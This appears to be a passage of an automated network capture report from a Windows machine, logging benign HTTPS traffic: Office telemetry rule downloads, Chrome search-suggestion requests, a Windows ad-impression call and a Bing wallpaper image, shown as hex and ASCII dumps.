2024-11-27 23:19:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231924Z-174f7845968kdththC1EWRzvxn00000009x000000000g07q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231924Z-174f7845968psccphC1EWRuz9s0000000xwg000000007277 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49738	172.217.21.36	443	6496	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:24 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 23:19:25 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:25 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-vhdscufHuTG5cyZnj9-BMw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-27 23:19:25 UTC	124	IN	Data Raw: 33 33 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 6f 6b 65 6d 6f 6e 20 67 6f 20 6d 61 78 20 6f 75 74 20 66 69 6e 61 6c 65 20 63 6f 6c 6c 65 63 74 69 6f 6e 22 2c 22 61 72 69 7a 6f 6e 61 20 72 6f 6c 6c 65 72 20 63 6f 61 73 74 65 72 73 22 2c 22 6d 61 70 6c 65 20 73 79 72 75 70 20 63 61 72 64 69 6f 6d 65 74 61 62 6f 6c 69 63 20 62 65 6e 65 66 69 74 73 22 2c 22 73 65 61 74 Data Ascii: 33d)]}'["",["pokemon go max out finale collection","arizona roller coasters","maple syrup cardiometabolic benefits","seat
2024-11-27 23:19:25 UTC	712	IN	Data Raw: 74 6c 65 20 73 65 61 68 61 77 6b 73 20 6e 65 77 73 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 66 6f 72 65 63 61 73 74 22 2c 22 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 20 32 30 32 34 22 2c 22 68 75 6d 70 62 61 63 6b 20 77 68 61 6c 65 20 62 72 6f 6f 6b 6c 79 6e 20 62 72 69 64 67 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 Data Ascii: tle seahawks news","thanksgiving weather forecast snow storm","aurora borealis northern lights forecast","spotify wrapped 2024","humpback whale brooklyn bridge"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinf
2024-11-27 23:19:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49739	172.217.21.36	443	6496	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:24 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231925Z-174f7845968ljs8phC1EWRe6en0000000xcg00000000ha1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231925Z-174f7845968ljs8phC1EWRe6en0000000xeg00000000atk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49744	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:25 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1665678778&PG=PC000P0FR5.0000000IRU&REQASID=B14448F38FE04EFCA346A78C5108509B&UNID=338389&ASID=d56738594991460693d634ada92e7bbf&&DS_EVTID=B14448F38FE04EFCA346A78C5108509B&DEVOSVER=10.0.19045.2006&REQT=20241127T231907&TIME=20241127T231914Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-27 23:19:25 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f046b04a-5800-420d-a0ef-8ce55ba9d9c6 Date: Wed, 27 Nov 2024 23:19:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49745	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:25 UTC	346	OUT	GET /th?id=OADD2.10239381672994_1TK9ZKJ3U2IRZIRGY&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 23:19:25 UTC	855	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 1010858 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3ED827EBA72D429CB31BBA7A1836F37C Ref B: EWR30EDGE0420 Ref C: 2024-11-27T23:19:25Z Date: Wed, 27 Nov 2024 23:19:25 GMT Connection: close
2024-11-27 23:19:25 UTC	15529	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: a5 43 72 17 6f 4e 95 60 b8 cf 06 a1 99 41 6d d4 2d c0 a9 29 f9 72 47 4a 84 77 1e bd 6a 69 42 85 eb f5 a8 f3 81 5b 47 63 19 68 cf 4a dd d2 8c f3 49 b4 e7 ad 38 28 ed 5e 19 f4 2a e2 67 3d e8 24 e3 14 36 42 d3 7d a8 18 01 cf 02 9d 8e f9 a4 53 8f 7a 71 61 d6 81 02 8f 6a 4a 37 e2 9b bc 67 ad 01 cc 87 7a 76 a5 ce 29 a6 45 a6 19 07 4a 76 62 72 44 a5 b3 ce 69 a5 fb 54 7e 60 0b d6 99 24 a3 b7 6a 7c ac 9e 7b 16 37 81 90 69 19 c0 18 aa cd 3f 15 13 cd 54 a0 4b a9 62 cb c9 80 6a bc d7 3b 09 24 f4 e9 55 e4 98 9f a6 2a b4 d2 17 50 3d 0d 69 18 18 ca a1 a0 b7 63 ae 7e b4 ff 00 b5 27 f7 ab 20 96 0b 92 78 cf e5 56 ac 7c a5 ea fb be b4 dc 51 31 a8 d9 ad 6e c6 41 91 d2 ac 29 da 39 1c d5 58 25 5d bb 52 a4 df db 35 83 47 42 b5 89 b7 fc b8 cf 5a 55 93 03 15 5f 7e 72 3d 29 0c 98 Data Ascii: CroN`Am-)rGJwjiB[GchJI8(^g=$6B}SzqajJ7gzv)EJvbrDiT~`$j\|{7i?TKbj;$UP=ic~' xV\|Q1nA)9X%]R5GBZU_~r=)
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 1f 9c dd f3 59 ed 70 db b8 e9 47 9c e7 f8 1a ab 90 97 57 a1 7c ca 47 3b a9 12 5e cc d9 3f d2 b3 d9 dd b0 33 8c 76 a0 bc bf 79 4f 34 f9 07 ed 1e f6 35 37 8f 6a 43 32 8e a6 b2 d9 e5 2a 30 a7 dc 8e f4 9b a7 0d 86 0d eb 4b 90 5e db c8 d5 59 81 e3 3d 7b 52 99 63 35 95 8b 82 73 8c 01 fa 54 8a 92 74 04 e7 d7 d6 a7 91 5c a5 51 be 86 97 99 1e de b4 9e 7a 05 fe 11 59 8f e7 0e 36 e2 9b 99 18 72 3f 0a 3d 9a 61 ed 3c 8d 2f b5 a9 e0 11 4e fb 62 06 20 9a ca d8 e3 ee a5 28 47 1c ed ff 00 eb 51 ec d0 7b 46 69 35 e2 16 c6 79 a6 b5 ca 7d fe fe 95 9b 22 ba b1 3c d2 46 1c 93 82 7a 51 ec d0 7b 47 72 fa dc c6 79 fc e9 e6 78 87 20 8c 56 73 46 e1 7a 9f a5 35 91 bb 53 e4 4f a8 73 be c6 83 4e 83 f8 bd f0 69 86 e9 71 d3 1d f1 54 3e 65 e0 d3 1a 42 00 23 ae 7a 53 54 c5 ed 0d 1f b4 8c Data Ascii: YpGW\|G;^?3vyO457jC2*0K^Y={Rc5sTt\QzY6r?=a</Nb (GQ{Fi5y}"<FzQ{Gryx VsFz5SOsNiqT>eB#zST
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: de 90 5b b1 8e 59 1f a3 00 48 38 1c 93 f8 51 06 ee 9a fe 9f 47 af 42 94 ad fd 7d c7 b0 78 5b 51 9e fb c3 b1 35 c5 b5 9a 4c 25 64 2d 6a c5 b6 2a e0 05 90 74 59 01 ce 40 e3 91 57 f7 71 92 3a 73 c5 79 0f 83 b5 09 f4 7d 26 f2 db 46 bd 5b 7b 59 b5 13 7d 74 51 95 a4 87 ce 55 6c 48 46 49 27 04 f2 32 2b a8 b1 d4 26 d6 da 3b c8 2e ef 6e ec b6 ab a9 b2 75 84 72 70 d9 04 82 59 48 ce 3b 83 5f b6 e5 1c 43 17 82 a7 ed 22 dc ac ae ef bb fd 0f 9d c7 64 55 2a 56 73 84 92 bf 4b 7f 97 f4 ce 1b f6 88 f8 99 fd 8b 27 d8 2c 6f 1a 19 d4 ee 94 87 3c 27 75 ce 0a f2 39 19 e7 d2 b9 df 87 9f 17 74 e3 e1 f1 71 ab f8 ab 50 d3 75 5b 68 2e 2e 22 b1 92 cc dd 5b df a9 20 46 9b d7 06 19 55 47 24 e4 1e b8 06 bc d3 f6 9c 92 41 f1 5a ee 0b 89 fe d0 42 72 7e eb 3e 7a 17 cf 0c 7d 3b ae 6b 37 e1 Data Ascii: [YH8QGB}x[Q5L%d-jtY@Wq:sy}&F[{Y}tQUlHFI'2+&;.nurpYH;_C"dUVsK',o<'u9tqPu[h.."[ FUG$AZBr~>z};k7
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 8b 4b b7 fb 65 9d da ef b8 b5 85 1a 56 47 07 3b a6 66 ed 8c b0 ec 71 83 5e 9e 4d 85 8e 09 a9 ca 37 62 a9 85 52 8c 92 76 6f fa fc 7a 9d 0f 82 74 0b 85 d2 97 54 f1 4f 8c 74 9b 67 f2 9c 40 b2 c8 24 72 8a 48 6f 2d 78 0a 49 18 07 19 39 e9 5d 3d 9f 87 2d ec be cf 77 a6 42 d6 f1 bd b6 e2 f3 ca 23 d8 5b ef 16 8f 1b b2 73 8f 52 6b 97 d1 6e b4 bb ad 62 3b d7 82 e2 3b 89 5d 83 48 f0 04 c0 c1 3c 11 8f ba bc 8f 4c f1 9a b7 ac c9 ab e9 b6 37 13 69 b0 b3 69 73 4c af 13 5a 9f 32 69 31 f3 ec 67 3c 9c f0 58 e4 75 c7 b5 7d 5c 71 54 eb 4a d1 9e bf 71 c5 ec 65 46 29 ca 3a 23 4a f6 f6 4f 0b eb f0 f8 af 4c 99 2d e2 91 23 d3 ef 6e 7c a6 58 59 19 87 98 43 02 0a a8 c6 32 39 35 c5 7c 5a d5 ec e4 d6 2d af 74 8d 77 ed d6 5f e9 32 5b 7f 68 14 4f b1 a0 90 05 59 8f 59 09 ce 54 f7 07 19 Data Ascii: KeVG;fq^M7bRvoztTOtg@$rHo-xI9]=-wB#[sRknb;;]H<L7iisLZ2i1g<Xu}\qTJqeF):#JOL-#n\|XYC295\|Z-tw_2[hOYYT
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: 5f de 74 96 fe 32 f1 bd b8 b8 36 9e 30 d7 e0 37 52 79 97 1f 67 be 92 3f 35 fd 5b 69 19 fc 6b 2a e2 e2 f6 e2 7f b4 cf a8 5f 4d 37 9d e7 79 92 4c e5 bc c1 fc 59 cf de e9 54 1c b2 b6 c6 7d bb bd 33 de 86 0c 5b 9c fd 39 ab 58 3c 3f 4a 6b ee 46 4f 11 88 7b d4 7f 7b 2c 6a 76 eb aa 6a 12 5f df 96 ba bb 97 06 49 e6 19 67 ed c9 fa 54 3f 60 83 cb f2 d5 3e 5c 8c 8c f1 91 d3 8c f6 a4 f2 d8 b0 03 a3 77 e7 9c 51 b0 15 c0 18 01 79 e7 9a 7f 54 a1 ff 00 3e d7 dc 85 ed eb df f8 8f ef 1c 2c ad b7 10 43 70 78 39 ff 00 eb ff 00 9c 54 b2 e2 58 44 52 de dd 48 aa ec eb 13 cc c5 43 1f bc f8 27 00 9e e4 72 6a ba ae 3e e8 1f 31 ed 41 45 dd fe ad 7f de 26 9f d5 68 7f 22 fb 85 ed ab 7f 3b fb c2 6d 37 4e 9d 83 ba 79 ac 7a ef e4 e0 7b 9a 92 3d 3e c1 21 31 0b 6c 46 79 da a4 01 9f 5f ca Data Ascii: _t2607Ryg?5[ik*_M7yLYT}3[9X<?JkFO{{,jvj_IgT?`>\wQyT>,Cpx9TXDRHC'rj>1AE&h";m7Nyz{=>!1lFy_
2024-11-27 23:19:26 UTC	16384	IN	Data Raw: e3 03 3d 45 6c 78 47 c4 1f 13 b4 5d 13 4d bd f0 8f 89 62 b5 6b cb 98 b5 2b f9 53 c5 36 f6 ab 77 6e 58 2d b1 96 34 7f 3d 51 58 bb 49 11 01 8a b0 24 62 bc 9e 2b 6d 46 f3 41 4b 98 c3 5b fd 8a 53 04 ab 2c 91 aa a3 b0 c8 0c c3 8c 10 09 e3 82 07 34 fd 3f c3 d3 c7 08 bb 41 6f 0a 5c b3 b3 b3 2f ef 2e 17 23 7b 37 46 d8 33 9c 0e a0 71 47 2c 10 3e 66 7d 81 ab eb 7a 2d af c2 0d 4f 59 f8 a5 7b a6 5f 6b 1a 94 91 e9 da 3e 8f a7 49 a7 5b c1 69 31 f3 14 1b 75 42 f2 47 6f 13 16 22 47 3b 8a 9c 8f bd 8a f9 f7 c5 9e 19 d3 74 bf 03 dc 68 ba 17 8f bc 17 0c 1a db c4 9a 8e 9e 25 96 6b 88 30 85 d6 51 27 96 a3 6a 11 8c 26 4e 5f 6b 02 6b 81 9a df 44 8f 4b 69 ad 61 d4 27 d7 36 29 df f6 75 b7 8e 45 c8 00 26 3e 5d 81 40 c6 4e 45 5e 6b 2b b5 8d 3e da d2 15 8d 41 65 c2 f4 c8 c0 27 bf 5e Data Ascii: 